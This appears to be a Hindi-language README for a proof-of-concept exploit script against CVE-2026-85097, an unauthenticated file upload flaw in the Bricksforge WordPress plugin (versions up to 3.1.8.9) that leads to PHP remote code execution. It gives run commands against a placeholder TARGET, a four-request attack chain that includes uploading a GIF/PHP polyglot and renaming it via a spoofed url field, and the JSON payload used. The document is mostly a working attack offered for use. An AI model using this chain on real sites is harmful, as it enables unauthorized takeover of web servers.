CVE-2026-85097

Bricksforge <= 3.1.8.9 में अनधिकृत फ़ाइल अपलोड → PHP RCE।

temporaryFileUploads.url फ़ॉर्म सबमिट होने पर क्लाइंट से लिया जाता है। पहले अपलोड पर MIME जाँचा जाता है, फिर copy() गंतव्य नाम के रूप में basename($url) का उपयोग करता है।

CVE	CVE-2026-85097
CWE	CWE-434
CVSS	9.8 / 10.0
प्रभावित	Bricksforge <= 3.1.8.9
ठीक किया गया	3.1.8.10, 4.0.1
प्रमाणीकरण	कोई नहीं

सेटअप

pip3 install requests

उपयोग

python3 exploit.py --url http://TARGET

python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file

एक लाइव Pro Form आवश्यक है। अपलोड फ़ील्ड वैकल्पिक है।

श्रृंखला

1. POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_nonce
2. POST /wp-json/bricksforge/v1/form_file_upload — GIF/PHP पॉलीग्लॉट (MIME ठीक)
3. POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .php
4. GET /wp-content/uploads/YYYY/MM/*.php — बॉडी CVE-2026-85097-OK

{
  "temporaryFileUploads": [
    {
      "field": "form-field-file",
      "file": {
        "file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
        "url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
        "type": "image/gif"
      }
    }
  ]
}

संदर्भ

• https://www.cve.org/CVERecord?id=CVE-2026-85097
• https://www.wordfence.com/threat-intel/vulnerabilities/id/e993c929-f175-43a7-92e6-9d3b089b8dde
• https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
• https://bricksforge.io/version-changelog/